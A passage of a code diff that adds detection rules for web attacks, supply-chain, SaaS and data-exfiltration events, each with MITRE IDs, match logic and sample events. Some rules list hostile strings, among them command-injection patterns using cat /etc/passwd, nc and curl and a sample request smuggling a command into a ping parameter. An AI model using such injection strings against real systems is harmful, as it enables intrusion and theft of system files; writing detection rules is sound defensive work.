"/wp-content/", "/cgi-bin/"]},+ "fp": ["CMS file uploads with sandboxed extensions (allowlist app role)"],+ "playbook": "tpl-webshell",+ "positive": {"method": "POST", "request_uri": "/wp-content/uploads/cmd.php", "file_extension": ".php", "host": "blog.corp.com"},+ "negative": {"method": "POST", "request_uri": "/wp-content/uploads/banner.png", "file_extension": ".png", "host": "blog.corp.com"},+ },+ {+ "slug": "command-injection",+ "name": "OS Command Injection in HTTP Parameter",+ "severity": "critical",+ "mitre": ["t1059"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "request_body"},+ "match_when": {"request_uri_pattern_match_any": [";\\s?cat /etc/passwd", "\\| nc ", "&& curl ", "`id`", "\\$\\(whoami\\)"]},+ "fp": ["Allowlisted security tooling pen-tests (src allowlist)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/ping?host=10.0.0.5;cat /etc/passwd", "host": "app.corp.com"},+ "negative": {"request_uri": "/ping?host=10.0.0.5", "host": "app.corp.com"},+ },+ {+ "slug": "rate-limit-burst",+ "name": "Rate Limit Burst on Authentication Endpoint",+ "severity": "medium",+ "mitre": ["t1110"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "method", "request_count_per_src", "time_window_minutes"},+ "match_when": {"request_uri_endswith": "/login", "method": "POST", "request_count_per_src_gt": 200, "time_window_minutes_lt": 5},+ "fp": ["Load testing against staging (src allowlist)"],+ "playbook": "tpl-account-compromise",+ "positive": {"request_uri": "/login", "method": "POST", "request_count_per_src": 600, "time_window_minutes": 3, "src_ip": "203.0.113.7"},+ "negative": {"request_uri": "/login", "method": "POST", "request_count_per_src": 5, "time_window_minutes": 30, "src_ip": "10.0.5.7"},+ },+ {+ "slug": "graphql-introspection",+ "name": "GraphQL Introspection Query in Production",+ "severity": "low",+ "mitre": ["t1592"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri", "request_body"},+ "match_when": {"request_uri_endswith": "/graphql", "request_body_contains_any": ["__schema", "__typename"]},+ "fp": ["Permitted public APIs (allowlist host)"],+ "playbook": "tpl-recon",+ "positive": {"request_uri": "/graphql", "request_body": "{__schema{queryType{name}}}", "host": "api.corp.com"},+ "negative": {"request_uri": "/graphql", "request_body": "{me{id}}", "host": "api.corp.com"},+ },+ {+ "slug": "api-key-leak-in-request",+ "name": "Hard-Coded API Key Pattern Leaked in HTTP Request",+ "severity": "critical",+ "mitre": ["t1552.001"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_body"},+ "match_when": {"request_body_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "AIza[0-9A-Za-z\\-_]{35}", "xox[baprs]-"]},+ "fp": ["Allowlisted developer test traffic (src allowlist)"],+ "playbook": "tpl-secret-leak",+ "positive": {"request_body": "{\"key\":\"AKIAIOSFODNN7EXAMPLE\"}", "host": "internal.corp.com"},+ "negative": {"request_body": "{\"username\":\"alice\"}", "host": "internal.corp.com"},+ },+ {+ "slug": "user-agent-known-tool",+ "name": "Known-Bad Scanner User-Agent",+ "severity": "low",+ "mitre": ["t1595.002"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"user_agent"},+ "match_when": {"user_agent_contains_any": ["sqlmap", "nikto", "wpscan", "fuzzfaster", "ffuf"]},+ "fp": ["Authorized internal pen-tests (src allowlist)"],+ "playbook": "tpl-recon",+ "positive": {"user_agent": "sqlmap/1.6.2", "host": "app.corp.com"},+ "negative": {"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "host": "app.corp.com"},+ },+ {+ "slug": "jwt-none-alg",+ "name": "JWT With alg=none in Authorization Header",+ "severity": "critical",+ "mitre": ["t1078"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"authorization_header"},+ "match_when": {"authorization_header_jwt_alg": "none"},+ "fp": ["Internal-only debug paths (must require staging-only path)"],+ "playbook": "tpl-account-compromise",+ "positive": {"authorization_header": "Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.", "authorization_header_jwt_alg": "none", "host": "api.corp.com"},+ "negative": {"authorization_header": "Bearer signed.jwt.value", "authorization_header_jwt_alg": "RS256", "host": "api.corp.com"},+ },+ {+ "slug": "open-redirect",+ "name": "Open Redirect Pattern in URL Parameter",+ "severity": "medium",+ "mitre": ["t1204.001"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_uri"},+ "match_when": {"request_uri_contains_any": ["?next=http", "?redirect=http", "?url=http"]},+ "fp": ["Approved redirect-after-login flows (allowlist destination)"],+ "playbook": "tpl-webattack",+ "positive": {"request_uri": "/login?next=http://evil.tld/phish", "host": "app.corp.com"},+ "negative": {"request_uri": "/login?next=/dashboard", "host": "app.corp.com"},+ },+ {+ "slug": "dependency-confusion-fetch",+ "name": "Build Pipeline Fetched Public Package With Internal Name",+ "severity": "high",+ "mitre": ["t1195.002"],+ "log_source": {"product": "build", "service": "package"},+ "fields": {"package_name_in_internal_namespace", "package_source"},+ "match_when": {"package_name_in_internal_namespace": True, "package_source_in": ["public-npm", "public-pypi", "public-rubygems"]},+ "fp": ["Approved scoped public packages (allowlist names)"],+ "playbook": "tpl-supply-chain",+ "positive": {"package_name_in_internal_namespace": True, "package_source": "public-npm", "package_name": "@corp-internal/util"},+ "negative": {"package_name_in_internal_namespace": True, "package_source": "internal-registry", "package_name": "@corp-internal/util"},+ },+ {+ "slug": "ci-secret-printed-to-log",+ "name": "Secret-Pattern Match in CI Job Log",+ "severity": "high",+ "mitre": ["t1552.001"],+ "log_source": {"product": "ci", "service": "logs"},+ "fields": {"log_line"},+ "match_when": {"log_line_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "-----BEGIN PRIVATE KEY-----"]},+ "fp": ["Test fixtures with synthetic-looking secrets (must be tagged)"],+ "playbook": "tpl-secret-leak",+ "positive": {"log_line": "AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE", "job": "deploy-prod", "actor": "[email protected]"},+ "negative": {"log_line": "Build complete in 42s", "job": "deploy-prod", "actor": "[email protected]"},+ },+ {+ "slug": "github-protected-branch-bypass",+ "name": "Push to Protected Branch by Non-Admin",+ "severity": "high",+ "mitre": ["t1195.002"],+ "log_source": {"product": "github", "service": "audit"},+ "fields": {"action", "branch_protection_rule_id_present", "actor_role"},+ "match_when": {"action": "git.push", "ref_in_protected_branches": True, "actor_role_not_in": ["admin", "release"]},+ "fp": ["Emergency hotfix workflow (must reference change ticket)"],+ "playbook": "tpl-supply-chain",+ "positive": {"action": "git.push", "ref": "refs/heads/main", "ref_in_protected_branches": True, "actor_role": "developer", "actor": "[email protected]"},+ "negative": {"action": "git.push", "ref": "refs/heads/feature-x", "ref_in_protected_branches": False, "actor_role": "developer", "actor": "[email protected]"},+ },+ {+ "slug": "github-public-repo-flip",+ "name": "Internal Repository Made Public",+ "severity": "critical",+ "mitre": ["t1530"],+ "log_source": {"product": "github", "service": "audit"},+ "fields": {"action", "visibility"},+ "match_when": {"action": "repo.visibility_change", "visibility": "public"},+ "fp": ["OSS publication (must reference release ticket)"],+ "playbook": "tpl-data-exposure",+ "positive": {"action": "repo.visibility_change", "visibility": "public", "repo": "internal-tooling", "actor": "[email protected]"},+ "negative": {"action": "repo.visibility_change", "visibility": "private", "repo": "internal-tooling", "actor": "[email protected]"},+ },+ {+ "slug": "container-image-pulled-untrusted-registry",+ "name": "Kubernetes Pulled Image From Untrusted Registry",+ "severity": "high",+ "mitre": ["t1525"],+ "log_source": {"product": "kubernetes", "service": "audit"},+ "fields": {"verb", "object_resource", "image_registry_in_allowlist"},+ "match_when": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": False},+ "fp": ["Sandbox/research clusters (allowlist namespace)"],+ "playbook": "tpl-supply-chain",+ "positive": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": False, "namespace": "production", "image": "ghcr.io/external/payload:latest"},+ "negative": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": True, "namespace": "production", "image": "registry.corp.com/svc:1.2.3"},+ },+ {+ "slug": "api-mass-enumeration-ids",+ "name": "Sequential ID Enumeration Pattern Against API",+ "severity": "high",+ "mitre": ["t1592"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"distinct_object_ids_per_src", "time_window_minutes"},+ "match_when": {"distinct_object_ids_per_src_gt": 1000, "time_window_minutes_lt": 5},+ "fp": ["Bulk-export job (src must be in allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"distinct_object_ids_per_src": 5000, "time_window_minutes": 3, "src_ip": "203.0.113.7"},+ "negative": {"distinct_object_ids_per_src": 30, "time_window_minutes": 60, "src_ip": "10.0.5.7"},+ },+ {+ "slug": "api-permission-bypass-idor",+ "name": "API Returned Object Outside Caller's Tenant",+ "severity": "critical",+ "mitre": ["t1212"],+ "log_source": {"product": "app", "service": "audit"},+ "fields": {"event_type", "object_tenant_id", "caller_tenant_id"},+ "match_when": {"event_type": "object.read", "object_tenant_id_eq_caller_tenant_id": False},+ "fp": ["Admin-impersonation operations (must originate from internal tooling)"],+ "playbook": "tpl-data-exposure",+ "positive": {"event_type": "object.read", "object_tenant_id": "tenant-A", "caller_tenant_id": "tenant-B", "object_tenant_id_eq_caller_tenant_id": False},+ "negative": {"event_type": "object.read", "object_tenant_id": "tenant-A", "caller_tenant_id": "tenant-A", "object_tenant_id_eq_caller_tenant_id": True},+ },+ {+ "slug": "csrf-on-sensitive-mutation",+ "name": "POST Without Referer/Origin to Sensitive Endpoint",+ "severity": "medium",+ "mitre": ["t1190"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"method", "request_uri", "referer_present", "origin_present"},+ "match_when": {"method": "POST", "request_uri_in_sensitive_paths": True, "referer_present": False, "origin_present": False},+ "fp": ["Allowlisted server-to-server APIs that bypass browser flow"],+ "playbook": "tpl-webattack",+ "positive": {"method": "POST", "request_uri": "/account/email", "request_uri_in_sensitive_paths": True, "referer_present": False, "origin_present": False, "host": "app.corp.com"},+ "negative": {"method": "POST", "request_uri": "/account/email", "request_uri_in_sensitive_paths": True, "referer_present": True, "origin_present": True, "host": "app.corp.com"},+ },+ {+ "slug": "deserialization-attack",+ "name": "Java/Python Deserialization Pattern",+ "severity": "critical",+ "mitre": ["t1190"],+ "log_source": {"product": "waf", "service": "http"},+ "fields": {"request_body"},+ "match_when": {"request_body_pattern_match_any": ["rO0AB", "AAEAAAD", "_\\$\\$ND_FUNC\\$\\$_"]},+ "fp": ["Legitimate serialization formats in trusted internal traffic (allowlist src)"],+ "playbook": "tpl-webattack",+ "positive": {"request_body": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==", "host": "app.corp.com"},+ "negative": {"request_body": "{\"name\":\"alice\"}", "host": "app.corp.com"},+ },+ {+ "slug": "gitlab-runner-shared-tag",+ "name": "GitLab Runner Registered as Shared Without Approval",+ "severity": "high",+ "mitre": ["t1525"],+ "log_source": {"product": "gitlab", "service": "audit"},+ "fields": {"event_type", "runner_scope"},+ "match_when": {"event_type": "runners.register", "runner_scope": "shared"},+ "fp": ["Approved org-shared runner (must be from infra team)"],+ "playbook": "tpl-supply-chain",+ "positive": {"event_type": "runners.register", "runner_scope": "shared", "actor": "[email protected]"},+ "negative": {"event_type": "runners.register", "runner_scope": "project", "actor": "[email protected]"},+ },+ {+ "slug": "saas-mass-share-public",+ "name": "SaaS File Mass Public-Share by Single User",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "google-workspace", "service": "drive"},+ "fields": {"event_type", "share_visibility", "file_count_per_user", "time_window_minutes"},+ "match_when": {"event_type": "drive.acl.change", "share_visibility": "public", "file_count_per_user_gt": 10, "time_window_minutes_lt": 30},+ "fp": ["Approved customer-share workflows (allowlist user)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "drive.acl.change", "share_visibility": "public", "file_count_per_user": 100, "time_window_minutes": 12, "user": "[email protected]"},+ "negative": {"event_type": "drive.acl.change", "share_visibility": "domain-internal", "file_count_per_user": 3, "time_window_minutes": 60, "user": "[email protected]"},+ },+ {+ "slug": "slack-token-exposed",+ "name": "Slack Token Posted in Public Channel",+ "severity": "high",+ "mitre": ["t1552.004"],+ "log_source": {"product": "slack", "service": "audit"},+ "fields": {"event_type", "message_text", "channel_visibility"},+ "match_when": {"event_type": "message.posted", "message_text_pattern_match_any": ["xoxp-", "xoxb-", "xoxa-"], "channel_visibility": "public"},+ "fp": ["Channels named #security-test (must be allowlisted)"],+ "playbook": "tpl-secret-leak",+ "positive": {"event_type": "message.posted", "message_text": "deploy creds: xoxb-1234-abcd-EXAMPLE", "channel_visibility": "public", "channel": "#general"},+ "negative": {"event_type": "message.posted", "message_text": "morning standup notes attached", "channel_visibility": "public", "channel": "#general"},+ },+ {+ "slug": "saas-app-installed",+ "name": "Marketplace App Installed With Broad Scopes",+ "severity": "medium",+ "mitre": ["t1098.001"],+ "log_source": {"product": "google-workspace", "service": "audit"},+ "fields": {"event_type", "scope_set"},+ "match_when": {"event_type": "marketplace.app.installed", "scope_set_contains_any": ["mail.full", "drive.full", "directory.readwrite"]},+ "fp": ["IT-managed installs (allowlist publisher)"],+ "playbook": "tpl-account-compromise",+ "positive": {"event_type": "marketplace.app.installed", "scope_set": ["drive.full"], "app": "thirdparty-importer", "actor": "[email protected]"},+ "negative": {"event_type": "marketplace.app.installed", "scope_set": ["calendar.read"], "app": "calendar-helper", "actor": "[email protected]"},+ },+ {+ "slug": "browser-credential-grabber",+ "name": "Process Reading Browser Login Database",+ "severity": "high",+ "mitre": ["t1555.003"],+ "log_source": {"product": "edr", "service": "file-read"},+ "fields": {"event_type", "file_path"},+ "match_when": {"event_type": "FileRead", "file_path_endswith_any": ["Login Data", "logins.json", "key3.db", "key4.db"]},+ "fp": ["Browser itself (allowlist by image-path of actual browser binary)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_type": "FileRead", "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", "image": "C:\\Users\\Public\\stealer.exe", "host": "wks-001"},+ "negative": {"event_type": "FileRead", "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", "image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "host": "wks-001"},+ },+ {+ "slug": "rdp-tickling",+ "name": "Outbound RDP Connection Initiated From Workstation to Internet",+ "severity": "high",+ "mitre": ["t1572"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"src_role", "dst_port", "dst_ip_class"},+ "match_when": {"src_role": "workstation", "dst_port": 3389, "dst_ip_class": "internet"},+ "fp": ["Allowlisted IT support tooling (rare)"],+ "playbook": "tpl-account-anomaly",+ "positive": {"src_role": "workstation", "dst_port": 3389, "dst_ip_class": "internet", "src_host": "wks-001", "dst_ip": "203.0.113.7"},+ "negative": {"src_role": "workstation", "dst_port": 443, "dst_ip_class": "internet", "src_host": "wks-001", "dst_ip": "203.0.113.7"},+ },+ {+ "slug": "phishing-ms365-impersonation",+ "name": "Microsoft 365 Brand Impersonation Phishing URL",+ "severity": "high",+ "mitre": ["t1566.002"],+ "log_source": {"product": "email", "service": "messages"},+ "fields": {"url_brand_impersonation"},+ "match_when": {"url_brand_impersonation_in": ["microsoft", "office365", "okta", "google-login"]},+ "fp": ["Approved internal phishing-simulation campaigns (must be tagged)"],+ "playbook": "tpl-phishing",+ "positive": {"url_brand_impersonation": "office365", "url": "https://office365-login.evil.tld", "to": "[email protected]"},+ "negative": {"url_brand_impersonation": None, "url": "https://corp.sharepoint.com/share/abc", "to": "[email protected]"},+ },+ {+ "slug": "phishing-attachment-double-extension",+ "name": "Email Attachment with Double Extension Pattern",+ "severity": "medium",+ "mitre": ["t1566.001"],+ "log_source": {"product": "email", "service": "messages"},+ "fields": {"attachment_filename"},+ "match_when": {"attachment_filename_match": ".+\\.(pdf|doc|xls|jpg|png)\\.(exe|js|vbs|scr|jar)$"},+ "fp": ["Vendor archives with intentional double-extension labels (rare)"],+ "playbook": "tpl-phishing",+ "positive": {"attachment_filename": "Invoice.pdf.exe", "to": "[email protected]"},+ "negative": {"attachment_filename": "Invoice.pdf", "to": "[email protected]"},+ },+]++# =============================================================================+# DATA-EXFIL (20)+# =============================================================================+DATA_EXFIL: list[dict] = [+ {+ "slug": "large-egress-personal-cloud",+ "name": "Large Outbound Transfer to Personal Cloud Storage",+ "severity": "high",+ "mitre": ["t1567.002"],+ "log_source": {"product": "proxy", "service": "http"},+ "fields": {"dst_in_personal_cloud_list", "bytes_out", "time_window_minutes"},+ "match_when": {"dst_in_personal_cloud_list": True, "bytes_out_gt": 100_000_000, "time_window_minutes_lt": 60},+ "fp": ["Allowlisted business cloud-storage backups (rare)"],+ "playbook": "tpl-data-exfil",+ "positive": {"dst_in_personal_cloud_list": True, "dst_host": "personal-cloud.tld", "bytes_out": 500_000_000, "time_window_minutes": 30, "src_host": "wks-001"},+ "negative": {"dst_in_personal_cloud_list": False, "dst_host": "corp-backup.com", "bytes_out": 500_000_000, "time_window_minutes": 30, "src_host": "wks-001"},+ },+ {+ "slug": "egress-spike-baseline",+ "name": "Outbound Bytes Spike Above Baseline (Anomaly)",+ "severity": "high",+ "mitre": ["t1041"],+ "log_source": {"product": "ndr", "service": "flow"},+ "fields": {"bytes_out_per_src", "baseline_z_score"},+ "match_when": {"bytes_out_per_src_gt": 200_000_000, "baseline_z_score_gt": 4},+ "fp": ["Approved bulk syncs (allowlist src)"],+ "playbook": "tpl-data-exfil",+ "positive": {"bytes_out_per_src": 800_000_000, "baseline_z_score": 7.5, "src_host": "wks-001"},+ "negative": {"bytes_out_per_src": 50_000_000, "baseline_z_score": 0.8, "src_host": "wks-001"},+ },+ {+ "slug": "rclone-process-on-host",+ "name": "rclone or megacmd Process Spawned on Host",+ "severity": "high",+ "mitre": ["t1567.002"],+ "log_source": {"product": "edr", "service": "process-create"},+ "fields": {"image_basename"},+ "match_when": {"image_basename_in": ["rclone.exe", "rclone", "megacmd", "megacmd.exe"]},+ "fp": ["Allowlisted backup tooling (must be in allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"image_basename": "rclone.exe", "host": "wks-001"},+ "negative": {"image_basename": "robocopy.exe", "host": "wks-001"},+ },+ {+ "slug": "archive-then-egress",+ "name": "Archive Tool Then Large Egress Within 15 Minutes",+ "severity": "high",+ "mitre": ["t1560.001", "t1041"],+ "log_source": {"product": "edr", "service": "correlated"},+ "fields": {"archive_seen_within_minutes", "egress_bytes"},+ "match_when": {"archive_seen_within_minutes_lt": 15, "egress_bytes_gt": 100_000_000},+ "fp": ["Backup tool that compresses then ships (allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"archive_seen_within_minutes": 8, "egress_bytes": 500_000_000, "host": "wks-001"},+ "negative": {"archive_seen_within_minutes": 240, "egress_bytes": 5_000, "host": "wks-001"},+ },+ {+ "slug": "data-share-external-domain",+ "name": "SaaS File Shared to External Domain",+ "severity": "medium",+ "mitre": ["t1567"],+ "log_source": {"product": "google-workspace", "service": "drive"},+ "fields": {"event_type", "share_target_domain_in_allowlist"},+ "match_when": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": False},+ "fp": ["Approved B2B partners (allowlisted)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": False, "share_target_domain": "personal-mail.tld", "user": "[email protected]"},+ "negative": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": True, "share_target_domain": "approved-partner.com", "user": "[email protected]"},+ },+ {+ "slug": "salesforce-bulk-export",+ "name": "Salesforce Bulk Data Export by Non-Allowlisted User",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "salesforce", "service": "audit"},+ "fields": {"event_type", "row_count", "actor_in_export_allowlist"},+ "match_when": {"event_type_in": ["DataExport", "ReportExport"], "row_count_gt": 50_000, "actor_in_export_allowlist": False},+ "fp": ["Allowlisted analytics roles (must be in allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "DataExport", "row_count": 500_000, "actor_in_export_allowlist": False, "actor": "[email protected]"},+ "negative": {"event_type": "DataExport", "row_count": 200, "actor_in_export_allowlist": True, "actor": "[email protected]"},+ },+ {+ "slug": "snowflake-mass-export",+ "name": "Snowflake Large Result-Set Download by Non-Service Account",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "snowflake", "service": "queryhistory"},+ "fields": {"event_type", "rows_produced", "user_type"},+ "match_when": {"event_type": "QUERY", "rows_produced_gt": 1_000_000, "user_type": "human"},+ "fp": ["Allowlisted analyst-team queries (must reference query-tag)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "QUERY", "rows_produced": 5_000_000, "user_type": "human", "query": "SELECT * FROM CUSTOMER", "user": "[email protected]"},+ "negative": {"event_type": "QUERY", "rows_produced": 1_000_000, "user_type": "service", "query": "SELECT * FROM CUSTOMER", "user": "etl-svc"},+ },+ {+ "slug": "db-mass-row-read",+ "name": "Database Application Reads Anomalously High Row Count",+ "severity": "medium",+ "mitre": ["t1530"],+ "log_source": {"product": "db", "service": "query"},+ "fields": {"event_type", "rows_read_per_session", "baseline_z_score"},+ "match_when": {"event_type": "SQL_SELECT", "rows_read_per_session_gt": 500_000, "baseline_z_score_gt": 4},+ "fp": ["Reporting jobs (allowlist principal)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "SQL_SELECT", "rows_read_per_session": 2_000_000, "baseline_z_score": 6.5, "user": "[email protected]"},+ "negative": {"event_type": "SQL_SELECT", "rows_read_per_session": 50, "baseline_z_score": 0.4, "user": "[email protected]"},+ },+ {+ "slug": "off-hours-bulk-download",+ "name": "Bulk Download Outside Business Hours",+ "severity": "medium",+ "mitre": ["t1041"],+ "log_source": {"product": "proxy", "service": "http"},+ "fields": {"bytes_out", "hour_of_day_local"},+ "match_when": {"bytes_out_gt": 50_000_000, "hour_of_day_local_not_in": list(range(7, 20))},+ "fp": ["On-call user with active P0/P1 (must reference incident)"],+ "playbook": "tpl-data-exfil",+ "positive": {"bytes_out": 200_000_000, "hour_of_day_local": 3, "user": "[email protected]"},+ "negative": {"bytes_out": 100_000_000, "hour_of_day_local": 11, "user": "[email protected]"},+ },+ {+ "slug": "github-pii-pattern-push",+ "name": "Git Push Containing PII or Secret Pattern",+ "severity": "high",+ "mitre": ["t1552.001"],+ "log_source": {"product": "github", "service": "audit"},+ "fields": {"action", "diff_text"},+ "match_when": {"action": "git.push", "diff_text_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "[A-Z0-9._%+-]+@[A-Z0-9.-]+ pii=true"]},+ "fp": ["Test fixtures (must be tagged)"],+ "playbook": "tpl-secret-leak",+ "positive": {"action": "git.push", "diff_text": "+ secret = \"AKIAIOSFODNN7EXAMPLE\"", "ref": "refs/heads/main", "actor": "[email protected]"},+ "negative": {"action": "git.push", "diff_text": "+ // refactor: rename helper", "ref": "refs/heads/main", "actor": "[email protected]"},+ },+ {+ "slug": "outbound-paste-public",+ "name": "Outbound Paste to Public Pastebin / Gist",+ "severity": "medium",+ "mitre": ["t1567"],+ "log_source": {"product": "proxy", "service": "http"},+ "fields": {"method", "dst_in_paste_list", "bytes_out"},+ "match_when": {"method": "POST", "dst_in_paste_list": True, "bytes_out_gt": 1_000},+ "fp": ["Engineering posting OSS code (allowlist users)"],+ "playbook": "tpl-data-exfil",+ "positive": {"method": "POST", "dst_in_paste_list": True, "bytes_out": 50_000, "dst_host": "pastebin.com", "src_host": "wks-001"},+ "negative": {"method": "POST", "dst_in_paste_list": False, "bytes_out": 50_000, "dst_host": "company-internal.com", "src_host": "wks-001"},+ },+ {+ "slug": "encrypted-archive-attachment",+ "name": "Encrypted Archive Attachment Sent Externally",+ "severity": "medium",+ "mitre": ["t1560.001", "t1567"],+ "log_source": {"product": "email", "service": "messages"},+ "fields": {"attachment_encrypted", "to_external"},+ "match_when": {"attachment_encrypted": True, "to_external": True},+ "fp": ["Approved encrypted exchange with regulated counterparties (allowlist)"],+ "playbook": "tpl-data-exfil",+ "positive": {"attachment_encrypted": True, "to_external": True, "from": "[email protected]", "to": "[email protected]"},+ "negative": {"attachment_encrypted": False, "to_external": True, "from": "[email protected]", "to": "[email protected]"},+ },+ {+ "slug": "printer-mass-print-confidential",+ "name": "Mass Print Job From Confidential Document Repository",+ "severity": "medium",+ "mitre": ["t1052"],+ "log_source": {"product": "windows", "service": "print"},+ "fields": {"event_id", "page_count_per_user", "doc_classification", "time_window_hours"},+ "match_when": {"event_id": 307, "page_count_per_user_gt": 500, "doc_classification": "confidential", "time_window_hours_lt": 1},+ "fp": ["Approved bulk-print operations (must be ticketed)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_id": 307, "page_count_per_user": 1500, "doc_classification": "confidential", "time_window_hours": 0.5, "user": "[email protected]"},+ "negative": {"event_id": 307, "page_count_per_user": 5, "doc_classification": "confidential", "time_window_hours": 24, "user": "[email protected]"},+ },+ {+ "slug": "bulk-zip-on-fileserver",+ "name": "Bulk Zip Creation on File Server",+ "severity": "medium",+ "mitre": ["t1560.001"],+ "log_source": {"product": "edr", "service": "file-create"},+ "fields": {"event_type", "file_path", "zip_size_bytes", "host_role"},+ "match_when": {"event_type": "FileCreate", "file_path_endswith": ".zip", "zip_size_bytes_gt": 500_000_000, "host_role": "fileserver"},+ "fp": ["Approved backup process (must be from backup principal)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "FileCreate", "file_path": "C:\\share\\bulk.zip", "zip_size_bytes": 2_000_000_000, "host_role": "fileserver", "host": "fs-01"},+ "negative": {"event_type": "FileCreate", "file_path": "C:\\share\\report.docx", "zip_size_bytes": None, "host_role": "fileserver", "host": "fs-01"},+ },+ {+ "slug": "bulk-msg-export-mail",+ "name": "Bulk Mailbox Export From M365 Compliance Center",+ "severity": "high",+ "mitre": ["t1114.002"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name"},+ "match_when": {"operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox"},+ "fp": ["Approved eDiscovery operations (must be ticketed)"],+ "playbook": "tpl-data-exfil",+ "positive": {"operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox", "target": "[email protected]", "actor": "[email protected]"},+ "negative": {"operation_name": "Search-Mailbox -EstimateResultOnly", "target": "[email protected]", "actor": "[email protected]"},+ },+ {+ "slug": "exchange-mail-forward-external",+ "name": "Inbox Rule Forwarding to External Address",+ "severity": "high",+ "mitre": ["t1114.003"],+ "log_source": {"product": "azure", "service": "exchange-online"},+ "fields": {"operation_name", "forward_destination_external"},+ "match_when": {"operation_name_in": ["New-InboxRule", "Set-InboxRule"], "forward_destination_external": True},+ "fp": ["Approved external assistant/EA address (allowlisted)"],+ "playbook": "tpl-account-compromise",+ "positive": {"operation_name": "New-InboxRule", "forward_destination_external": True, "forward_to": "[email protected]", "user": "[email protected]"},+ "negative": {"operation_name": "New-InboxRule", "forward_destination_external": False, "forward_to": "team-folder", "user": "[email protected]"},+ },+ {+ "slug": "backup-export-anomalous",+ "name": "Backup Export to Non-Allowlisted Destination",+ "severity": "high",+ "mitre": ["t1567"],+ "log_source": {"product": "cloud", "service": "backup"},+ "fields": {"event_type", "backup_dst_in_allowlist"},+ "match_when": {"event_type": "Backup.Export", "backup_dst_in_allowlist": False},+ "fp": ["Approved DR drill (must be ticketed)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "Backup.Export", "backup_dst_in_allowlist": False, "destination": "external-account-999"},+ "negative": {"event_type": "Backup.Export", "backup_dst_in_allowlist": True, "destination": "approved-dr-account"},+ },+ {+ "slug": "container-mass-image-export",+ "name": "Container Image Mass Export to External Registry",+ "severity": "high",+ "mitre": ["t1567"],+ "log_source": {"product": "cloud", "service": "registry"},+ "fields": {"event_type", "dst_registry_in_allowlist", "image_count_per_principal", "time_window_minutes"},+ "match_when": {"event_type": "image.push", "dst_registry_in_allowlist": False, "image_count_per_principal_gt": 5, "time_window_minutes_lt": 30},+ "fp": ["Approved OSS image releases (allowlist destination)"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_type": "image.push", "dst_registry_in_allowlist": False, "image_count_per_principal": 12, "time_window_minutes": 8, "principal": "[email protected]"},+ "negative": {"event_type": "image.push", "dst_registry_in_allowlist": True, "image_count_per_principal": 1, "time_window_minutes": 60, "principal": "[email protected]"},+ },+ {+ "slug": "vpn-large-download-foreign",+ "name": "VPN Tunnel Large Download from Foreign Country",+ "severity": "medium",+ "mitre": ["t1041"],+ "log_source": {"product": "vpn", "service": "session"},+ "fields": {"src_country", "src_country_in_allowlist", "bytes_in"},+ "match_when": {"src_country_in_allowlist": False, "bytes_in_gt": 200_000_000},+ "fp": ["Approved business travel (must be ticketed)"],+ "playbook": "tpl-data-exfil",+ "positive": {"src_country": "RU", "src_country_in_allowlist": False, "bytes_in": 800_000_000, "user": "[email protected]"},+ "negative": {"src_country": "US", "src_country_in_allowlist": True, "bytes_in": 500_000, "user": "[email protected]"},+ },+ {+ "slug": "secrets-mass-fetch",+ "name": "Secrets Manager Bulk Fetch by Human Principal",+ "severity": "high",+ "mitre": ["t1555", "t1530"],+ "log_source": {"product": "cloud", "service": "secrets"},+ "fields": {"event_type", "secret_count_per_principal", "principal_type", "time_window_minutes"},+ "match_when": {"event_type": "GetSecretValue", "secret_count_per_principal_gt": 25, "principal_type": "human", "time_window_minutes_lt": 10},+ "fp": ["Allowlisted ops break-glass (must be on-call)"],+ "playbook": "tpl-credential-theft",+ "positive": {"event_type": "GetSecretValue", 